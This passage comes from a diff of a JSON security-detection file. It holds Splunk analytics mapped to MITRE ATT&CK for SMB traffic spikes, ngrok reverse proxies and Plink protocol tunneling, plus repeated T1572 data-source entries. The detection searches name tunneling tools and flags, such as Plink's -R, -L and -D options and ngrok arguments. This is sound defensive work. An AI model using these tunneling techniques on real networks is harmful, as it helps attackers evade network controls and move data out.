"Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "SMB Traffic Spike - MLTK", - "description": "The following analytic identifies spikes in the number of Server Message Block (SMB) connections using the Machine Learning Toolkit (MLTK). It leverages the Network_Traffic data model to monitor SMB traffic on ports 139 and 445, applying a machine learning model to detect anomalies. This activity is significant because sudden increases in SMB traffic can indicate lateral movement or data exfiltration attempts by attackers. If confirmed malicious, this behavior could lead to unauthorized access, data theft, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count values(All_Traffic.dest_ip) as dest values(All_Traffic.dest_port) as port from datamodel=Network_Traffic where All_Traffic.dest_port=139 OR All_Traffic.dest_port=445 OR All_Traffic.app=smb by _time span=1h, All_Traffic.src | eval HourOfDay=strftime(_time, \"%H\") | eval DayOfWeek=strftime(_time, \"%A\") | `drop_dm_object_name(All_Traffic)` | apply smb_pdfmodel threshold=0.001 | rename \"IsOutlier(count)\" as isOutlier | search isOutlier > 0 | sort -count | table _time src dest port count | `smb_traffic_spike___mltk_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Emotet Malware DHS Report TA18-201A", - "Hidden Cobra Malware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -311058,191 +221239,11 @@ "CTID", "ExtraHop" ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "responded from", - "target_data_element": "port" - }, - { - "technique_id": "T1572", - "technique": "Protocol Tunneling", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "identified", - "target_data_element": "transport layer protocol" - }, - { - "technique_id": "T1572", - "technique": "Protocol Tunneling", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "identified", - "target_data_element": "application layer protocol" - }, - { - "technique_id": "T1572", - "technique": "Protocol Tunneling", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "identified", - "target_data_element": "network traffic volume" - }, - { - "technique_id": "T1572", - "technique": "Protocol Tunneling", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted connection to", - "target_data_element": "ip" - }, - { - "technique_id": "T1572", - "technique": "Protocol Tunneling", - "tactic": [ - "command-and-control" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted connection to", + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "responded from", "target_data_element": "port" }, { @@ -311274,12 +221275,12 @@ "CTID", "ExtraHop" ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted connection to", - "target_data_element": "host" + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "identified", + "target_data_element": "transport layer protocol" }, { "technique_id": "T1572", @@ -311310,12 +221311,12 @@ "CTID", "ExtraHop" ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted connection from", - "target_data_element": "ip" + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "identified", + "target_data_element": "application layer protocol" }, { "technique_id": "T1572", @@ -311346,12 +221347,12 @@ "CTID", "ExtraHop" ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted connection from", - "target_data_element": "port" + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "identified", + "target_data_element": "network traffic volume" }, { "technique_id": "T1572", @@ -311386,8 +221387,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "attempted connection from", - "target_data_element": "host" + "relationship": "attempted connection to", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -311422,8 +221423,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "connected to", - "target_data_element": "ip" + "relationship": "attempted connection to", + "target_data_element": "port" }, { "technique_id": "T1572", @@ -311458,8 +221459,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "connected to", - "target_data_element": "port" + "relationship": "attempted connection to", + "target_data_element": "host" }, { "technique_id": "T1572", @@ -311494,8 +221495,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "connected to", - "target_data_element": "host" + "relationship": "attempted connection from", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -311530,8 +221531,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "connected from", - "target_data_element": "ip" + "relationship": "attempted connection from", + "target_data_element": "port" }, { "technique_id": "T1572", @@ -311566,8 +221567,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "connected from", - "target_data_element": "port" + "relationship": "attempted connection from", + "target_data_element": "host" }, { "technique_id": "T1572", @@ -311602,8 +221603,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "connected from", - "target_data_element": "host" + "relationship": "connected to", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -311637,9 +221638,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", + "source_data_element": "process", "relationship": "connected to", - "target_data_element": "ip" + "target_data_element": "port" }, { "technique_id": "T1572", @@ -311673,9 +221674,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", + "source_data_element": "process", "relationship": "connected to", - "target_data_element": "port" + "target_data_element": "host" }, { "technique_id": "T1572", @@ -311709,9 +221710,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected to", - "target_data_element": "host" + "source_data_element": "process", + "relationship": "connected from", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -311745,9 +221746,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", + "source_data_element": "process", "relationship": "connected from", - "target_data_element": "ip" + "target_data_element": "port" }, { "technique_id": "T1572", @@ -311781,9 +221782,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", + "source_data_element": "process", "relationship": "connected from", - "target_data_element": "port" + "target_data_element": "host" }, { "technique_id": "T1572", @@ -311818,8 +221819,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "host" + "relationship": "connected to", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -311853,8 +221854,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted to bind on", + "source_data_element": "user", + "relationship": "connected to", "target_data_element": "port" }, { @@ -311889,9 +221890,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "bound to", - "target_data_element": "port" + "source_data_element": "user", + "relationship": "connected to", + "target_data_element": "host" }, { "technique_id": "T1572", @@ -311925,8 +221926,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", + "source_data_element": "user", + "relationship": "connected from", "target_data_element": "ip" }, { @@ -311961,8 +221962,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", + "source_data_element": "user", + "relationship": "connected from", "target_data_element": "port" }, { @@ -311997,9 +221998,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", - "target_data_element": "process" + "source_data_element": "user", + "relationship": "connected from", + "target_data_element": "host" }, { "technique_id": "T1572", @@ -312034,7 +222035,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "attempted to listen on", + "relationship": "attempted to bind on", "target_data_element": "port" }, { @@ -312070,7 +222071,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "process", - "relationship": "listened on", + "relationship": "bound to", "target_data_element": "port" }, { @@ -312106,7 +222107,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked port bind on", + "relationship": "permitted listener on", "target_data_element": "ip" }, { @@ -312142,7 +222143,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked port bind on", + "relationship": "permitted listener on", "target_data_element": "port" }, { @@ -312178,7 +222179,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked port bind on", + "relationship": "permitted listener on", "target_data_element": "process" }, { @@ -312213,9 +222214,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "blocked connection to", - "target_data_element": "ip" + "source_data_element": "process", + "relationship": "attempted to listen on", + "target_data_element": "port" }, { "technique_id": "T1572", @@ -312249,8 +222250,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "blocked connection to", + "source_data_element": "process", + "relationship": "listened on", "target_data_element": "port" }, { @@ -312286,8 +222287,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", - "target_data_element": "process" + "relationship": "blocked port bind on", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -312322,8 +222323,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", - "target_data_element": "ip" + "relationship": "blocked port bind on", + "target_data_element": "port" }, { "technique_id": "T1572", @@ -312358,8 +222359,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", - "target_data_element": "port" + "relationship": "blocked port bind on", + "target_data_element": "process" }, { "technique_id": "T1572", @@ -312394,8 +222395,8 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", - "target_data_element": "process" + "relationship": "blocked connection to", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -312431,7 +222432,7 @@ "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", "relationship": "blocked connection to", - "target_data_element": "ip" + "target_data_element": "port" }, { "technique_id": "T1572", @@ -312467,7 +222468,7 @@ "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", "relationship": "blocked connection to", - "target_data_element": "port" + "target_data_element": "process" }, { "technique_id": "T1572", @@ -312502,7 +222503,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection from", "target_data_element": "ip" }, { @@ -312538,7 +222539,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection from", "target_data_element": "port" }, { @@ -312574,7 +222575,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection from", "target_data_element": "process" }, { @@ -312606,12 +222607,12 @@ "CTID", "ExtraHop" ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "administration traffic" + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked connection to", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -312642,12 +222643,12 @@ "CTID", "ExtraHop" ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "dns traffic" + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked connection to", + "target_data_element": "port" }, { "technique_id": "T1572", @@ -312678,12 +222679,12 @@ "CTID", "ExtraHop" ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "encrypted traffic" + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "ip" }, { "technique_id": "T1572", @@ -312714,12 +222715,48 @@ "CTID", "ExtraHop" ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "mail traffic" + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "port" + }, + { + "technique_id": "T1572", + "technique": "Protocol Tunneling", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "process" }, { "technique_id": "T1572", @@ -312755,7 +222792,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "file transfer traffic" + "target_data_element": "administration traffic" }, { "technique_id": "T1572", @@ -312791,7 +222828,7 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "web traffic" + "target_data_element": "dns traffic" }, { "technique_id": "T1572", @@ -312827,442 +222864,151 @@ "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", "source_data_element": "network traffic", "relationship": "contained", - "target_data_element": "remote code execution traffic" + "target_data_element": "encrypted traffic" }, { - "name": "Linux Ngrok Reverse Proxy Usage", - "description": "The following analytic detects the use of Ngrok on a Linux operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments associated with Ngrok. This activity is significant because Ngrok can be used by adversaries to establish reverse proxies, potentially bypassing network defenses. If confirmed malicious, this could allow attackers to create persistent, unauthorized access channels, facilitating data exfiltration or further exploitation of the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ngrok Processes.process IN (\"*start*\", \"*--config*\",\"*http*\",\"*authtoken*\", \"*http*\", \"*tcp*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ngrok_reverse_proxy_usage_filter`", - "tags": { - "analytic_story": [ - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A reverse proxy was identified spawning from $parent_process_name$ - $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } + "technique_id": "T1572", + "technique": "Protocol Tunneling", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "mail traffic" }, { - "name": "Windows Ngrok Reverse Proxy Usage", - "description": "The following analytic detects the execution of ngrok.exe on a Windows operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because while ngrok is a legitimate tool for creating secure tunnels, it is increasingly used by adversaries to bypass network defenses and establish reverse proxies. If confirmed malicious, this could allow attackers to exfiltrate data, maintain persistence, or facilitate further attacks by tunneling traffic through the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ngrok.exe Processes.process IN (\"*start*\", \"*--config*\",\"*http*\",\"*authtoken*\", \"*http*\", \"*tcp*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_ngrok_reverse_proxy_usage_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A reverse proxy was identified spawning from $parent_process_name$ - $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } + "technique_id": "T1572", + "technique": "Protocol Tunneling", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "file transfer traffic" }, { - "name": "Windows Protocol Tunneling with Plink", - "description": "The following analytic detects the use of Plink for protocol tunneling, either for egress or lateral movement within an organization. It identifies specific Plink command-line options (-R, -L, -D, -l) by analyzing process execution logs from Endpoint Detection and Response (EDR) agents. This activity is significant as it may indicate an attempt to bypass network security controls or establish unauthorized connections. If confirmed malicious, this could allow an attacker to exfiltrate data, move laterally across the network, or maintain persistent access, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=plink.exe OR Processes.original_file_name=Plink Processes.process IN (\"*-R *\", \"*-L *\", \"*-D *\", \"*-l *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_protocol_tunneling_with_plink_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to tunnel to a remote destination.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1021.004", - "mitre_attack_technique": "SSH", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT39", - "APT5", - "BlackTech", - "FIN13", - "FIN7", - "Fox Kitten", - "GCMAN", - "Lazarus Group", - "Leviathan", - "OilRig", - "Rocke", - "TeamTNT", - "menuPass" - ] - } - ] - } + "technique_id": "T1572", + "technique": "Protocol Tunneling", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "web traffic" }, { - "name": "Ngrok Reverse Proxy on Network", - "description": "The following analytic detects DNS queries to common Ngrok domains, indicating potential use of the Ngrok 